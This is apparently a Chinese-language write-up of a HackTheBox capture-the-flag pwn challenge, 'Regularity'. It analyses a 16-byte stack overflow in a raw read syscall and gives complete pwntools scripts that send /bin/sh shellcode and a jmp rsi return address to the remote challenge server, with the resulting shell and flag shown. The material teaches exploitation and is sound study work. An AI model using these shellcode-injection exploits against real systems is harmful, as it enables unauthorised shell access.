Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目

image-20250611222225106

观察分析

开始的开始我们先确认一下这份文件的安全性措施有哪些:

1
2
3
4
5
6
7
8
9
10
└─$ checksec regularity
[*] '/home/archer/ctf-kali/regularity'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

注意到这个程序并没有NX(No-eXecute)措施,这会成为我们后续攻击的最核心的前提条件!

用IDA打开文件:
image-20250611214606843

image-20250611214618842

这个read()比较可疑,但是在伪代码页面没有找到漏洞,所以我们转去查看汇编。

image-20250611214721112

在IDA一开始的这个默认页面双击read:

image-20250611214816581

可以发现程序分配了0x100位的Buffer,但是却读取了0x110位数据。也就是说我们可以利用这个Buffer Overflow的漏洞。

但是由于在Exports页面没有找到任何可以利用的函数:

image-20250611215031069

所以这道题我们需要另辟蹊径。

我们回来重新仔细看一下read()函数的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
; signed __int64 read()
read proc near

buf = byte ptr -100h ; 定义一个局部变量 buf,大小 0x100(256 字节)

sub rsp, 100h ; 分配 0x100 字节栈空间,rsp 向下移动,留出 buffer 空间

mov eax, 0 ; syscall 编号 0 → sys_read
mov edi, 0 ; 参数 rdi = 0 → 文件描述符 0(stdin)
lea rsi, [rsp+100h+buf]
; rsi = rsp,即 buffer 的地址(rsp + 0 = rsp)
; 相当于 rsi = rsp → 第 2 个参数,读取的目标缓冲区

mov edx, 110h ; 第 3 个参数 → 读取长度为 0x110(272 字节)
; 但 buffer 只有 0x100 → 产生 16 字节栈溢出漏洞!

syscall ; 执行系统调用 read(0, rsp, 0x110)

add rsp, 100h ; 恢复栈指针,释放局部变量空间

retn ; 返回调用者(但可能已被覆盖)

read endp

注意到rsi 是当前buffer的起始地址。而同时在阅读main()函数的汇编时可以发现这行命令:

image-20250611215456205

1
jmp     rsi

所以我们可以写入一段自己手写的/bin/sh命令的汇编代码,并将返回地址修改成rsi,这样程序就会自动运行我们手写的/bin/sh命令。(不过要注意,这个攻击能够奏效最核心的前提是栈是可执行的,即没有NX(No-eXecute)。)

Exploit

这道题在Windows系统里做和在Linux里不太一样,所以我会分别介绍他们所需的操作。

Linux

首先讲在Linux系统下的解题过程,因为可以用便携的命令

1
next(elf.search(asm('jmp rsi')))

这个命令的作用是:

  • asm('jmp rsi'):将汇编指令 jmp rsi 转换为机器码(字节码);
  • elf.search(...):在目标 ELF 文件中搜索包含这段机器码的地址(也就是查找 gadget);
  • next(...):获取搜索到的第一个结果,即 jmp rsi 的实际地址;

1
asm(shellcraft.sh())

这个命令是 PwnTools 库中提供的一个自动生成 shellcode 的便捷方法,具体作用如下:

  • shellcraft.sh():生成一段用于执行 /bin/sh 的汇编代码(默认适用于当前脚本所处平台(这里是Linux)的 64 位 execve("/bin/sh", NULL, NULL) 系统调用);
  • asm(...):将上面的汇编代码转换为真实的机器码(也就是可以直接执行的 shellcode 字节串);

这个命令是在Windows里也可以使用的,只不过需要点额外的声明。

Exploit代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

elf = context.binary = ELF('./regularity', checksec=False)
# p = process()
# 这里的p是用于本地测试的,只能在Linux上使用,这个这个文件是elf格式的。

r = remote("94.237.51.163",52671)

# 找到 jmp rsi 指令地址
JMP_RSI = next(elf.search(asm('jmp rsi')))

# 构造 payload:shellcode + 溢出 + jmp rsi 地址
payload = flat({
0: asm(shellcraft.sh()), # shellcode
256: JMP_RSI # 溢出 return address
})

# p.sendlineafter(b'days?\n', payload)
# p.interactive()


r.sendlineafter(b'days?\n', payload)
r.interactive()
# $ ls
# core
# flag.txt
# regularity
# $ cat flag.txt
# HTB{jMp_rSi_jUmP_aLl_tH3_w4y!}

解释一下flat()这个函数:

它把一个结构化的数据(如字节串、整数、地址、dict 布局)转换成连续的 bytes 类型,供你发送或写入程序。用于自动构造二进制 payload

这段代码:

1
2
3
4
payload = flat({
0: asm(shellcraft.sh()), # shellcode
256: JMP_RSI # 覆盖 return address
})

传入的是一个 字典(dict)结构,表示希望构造一个内存布局:

  • 从 offset 0 开始:放入 shellcode
  • 从 offset 256 开始:放入跳转地址 JMP_RSI(会被自动转成小端格式)

flat() 会自动:

  1. 计算出 offset 之间的 padding(自动补零或 NOP)
  2. 把整数 JMP_RSI 自动转换为 64 位小端地址(等价于 p64(JMP_RSI)
  3. 最终拼接出一段完整的、可发送的 payload

而且它会自动把JMP_RSI的值转成小端序(Liitle-Endian),不需要我们额外使用p64()函数。

Windows

因为在Windows里我们无法使用

1
next(elf.search(asm('jmp rsi')))

这个命令,所以需要手动查找jmp rsi的地址。

这里介绍3种方法:

1. 在主页面就可以直接查看。用鼠标点击

1
jmp rsi

这行命令,然后会在页面下方看到地址:

image-20250611221154483

2. 使用快捷键Alt+t搜索

1
rsi

或者

1
jmp     rsi

(注意是5个空格,多了少了都搜不出来。)

image-20250611221331568

image-20250611221349126

3. 点击左上角的菜单View,然后依次选择Open subviews里的Disassembly:

image-20250611221422643

image-20250611221531679

再往下翻手动查找到:

image-20250611221602397

确定地址了之后剩下的就和之前的一样了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

r = remote("94.237.51.163",52671)

# 明确设置架构和 OS 平台,否则asm(shellcraft.sh())会出问题(写的内容会是windows架构下的命令)。
context.arch = 'amd64'
context.os = 'linux'

# 找到的 jmp rsi 指令地址
JMP_RSI = 0x401041

# 构造 payload:shellcode + 溢出 + jmp rsi 地址
payload = flat({
0: asm(shellcraft.sh()), # shellcode
256: JMP_RSI # 溢出 return address
})


r.sendlineafter(b'days?\n', payload)
r.interactive()
# [*] Switching to interactive mode
# ls
# core
# flag.txt
# regularity
# cat flag.txt
# HTB{jMp_rSi_jUmP_aLl_tH3_w4y!}